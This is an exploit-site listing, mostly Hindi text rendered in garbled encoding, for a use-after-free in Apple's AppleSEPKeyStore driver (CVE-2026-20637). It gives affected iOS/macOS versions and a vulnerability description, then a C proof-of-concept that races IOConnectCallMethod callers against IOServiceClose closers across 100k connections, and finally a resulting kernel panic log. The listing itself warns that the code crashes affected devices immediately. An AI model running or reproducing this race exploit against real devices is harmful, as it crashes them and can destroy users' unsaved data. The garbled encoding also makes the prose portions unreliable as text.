Sploitus

Exploit for CVE-2026-20637-AppleSEPKeyStore-UAF

kitploit ┬╖ 2026-09-06

Exploit Code

MARKDOWN87 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XJOHNNYDEV-CVE-2026-20637-APPLESEPKEYSTORE-UAF
# CVE-2026-20637: AppleSEPKeyStore рдпреВрдЬрд╝-рдЖрдлреНрдЯрд░-рдлреНрд░реА

**CVE-2026-20637** | рд▓реЗрдЦрдХ: Johnny Franks (@zeroxjf)

> **рдШрдЯрдХ:** AppleKeyStore
> 
> **рдкреНрд░рднрд╛рд╡:** рдХреЛрдИ рдРрдк рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд╕рд┐рд╕реНрдЯрдо рд╕рдорд╛рдкреНрддрд┐ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ
> 
> **рд╡рд┐рд╡рд░рдг:** рдмреЗрд╣рддрд░ рдореЗрдореЛрд░реА рдкреНрд░рдмрдВрдзрди рдХреЗ рд╕рд╛рде рдпреВрдЬрд╝-рдЖрдлреНрдЯрд░-рдлреНрд░реА рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ред
> 
> _тАФApple рд╕реБрд░рдХреНрд╖рд╛ рд╕рд╛рдордЧреНрд░реА, iOS 26.3 рдФрд░ iPadOS 26.3_

## рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

|   
---|---  
iOS| 26.1 - 26.2 (рдкрд░реАрдХреНрд╖рд┐рдд)  
macOS| 26.1 - 26.2 (рдкрд░реАрдХреНрд╖рд┐рдд)  
рдШрдЯрдХ| `com.apple.driver.AppleSEPKeyStore`  
рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛| iOS 26.3 / iPadOS 26.3  
  
**рдиреЛрдЯ:** Apple рдиреЗ рдЗрд╕реЗ 26.2.1 - 26.3 рдХреЗ рдмреАрдЪ рдзреАрд░реЗ-рдзреАрд░реЗ рдкреИрдЪ рдХрд┐рдпрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдордзреНрдпрд╡рд░реНрддреА рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

## рдЪреЗрддрд╛рд╡рдиреА

**рдпрд╣ PoC рдкреНрд░рднрд╛рд╡рд┐рдд рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЛ рддреБрд░рдВрдд рдХрд░реНрдиреЗрд▓-рдкреИрдирд┐рдХ рдХрд░ рджреЗрддрд╛ рд╣реИред** рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХрд╛рдо рд╕рд╣реЗрдЬ рд▓реЗрдВ; рдмрд╛рд░-рдмрд╛рд░ рдЬрдмрд░рди рдкреИрдирд┐рдХ рд╣реЛрдиреЗ рд╕реЗ рдмрд┐рдирд╛ рд╕рд╣реЗрдЬреА рдЧрдИ рд╕реНрдерд┐рддрд┐ рджреВрд╖рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИред

## рднреЗрджреНрдпрддрд╛

`IOCommandGate` рдореЗрдВ рдпреВрдЬрд╝-рдЖрдлреНрдЯрд░-рдлреНрд░реА, рдЬреЛ AppleKeyStore рдУрдкрди/рдХреНрд▓реЛрдЬрд╝ рд░реЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИред рдЖрда рдХреЙрд▓рд░ рдереНрд░реЗрдб рд╕реЗрд▓реЗрдХреНрдЯрд░ 0-15 рдкрд░ `IOConnectCallMethod` рдХреЛ рдмрд╛рд░-рдмрд╛рд░ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдЪрд╛рд░ рдХреНрд▓реЛрдЬрд╝рд░ рдереНрд░реЗрдб `IOServiceClose` рдХреЗ рд╕рд╛рде рд░реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдРрд╕реА рд╡рд┐рдВрдбреЛ рдмрдирддреА рд╣реИ рдЬрд╣рд╛рдБ рдлреНрд░реА рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдХрдорд╛рдВрдб рдЧреЗрдЯ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

## рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ

root@kitploit:~
    
    
    #define AKS_SERVICE_NAME "AppleKeyStore"
    #define NUM_CALLERS 8
    #define NUM_CLOSERS 4
    #define NUM_ITERATIONS 100000
    
    static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
    
    // 8 caller threads: hammer IOConnectCallMethod (high priority)
    while (!done) {
        io_connect_t conn = atomic_load(&g_conn);
        if (conn == IO_OBJECT_NULL) continue;
        for (uint32_t sel = 0; sel < 16; sel++) {
            IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
        }
    }
    
    // 4 closer threads: race IOServiceClose (high priority)
    while (!done) {
        io_connect_t conn = atomic_load(&g_conn);
        if (conn == IO_OBJECT_NULL) continue;
        IOServiceClose(conn);
        atomic_store(&g_conn, IO_OBJECT_NULL);
    }
    
    // Main thread: 100k connections, no delay
    for (int i = 0; i < NUM_ITERATIONS; i++) {
        uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141;
        IOServiceOpen(svc, mach_task_self(), type, &conn);
        atomic_store(&g_conn, conn);
        // no delay: keep the close/call race window hot
    }
    

## рдкреИрдирд┐рдХ рд▓реЙрдЧ

root@kitploit:~
    
    
    panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
      (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
       72: 0xfffffffffffffe00
    
    Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
      root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
    
    Panicked task 0xffffffe5b4f1e820: pid 956: Test
    
    Kernel Extensions in backtrace:
       com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
          @0xfffffff016a47020->0xfffffff016a84f9f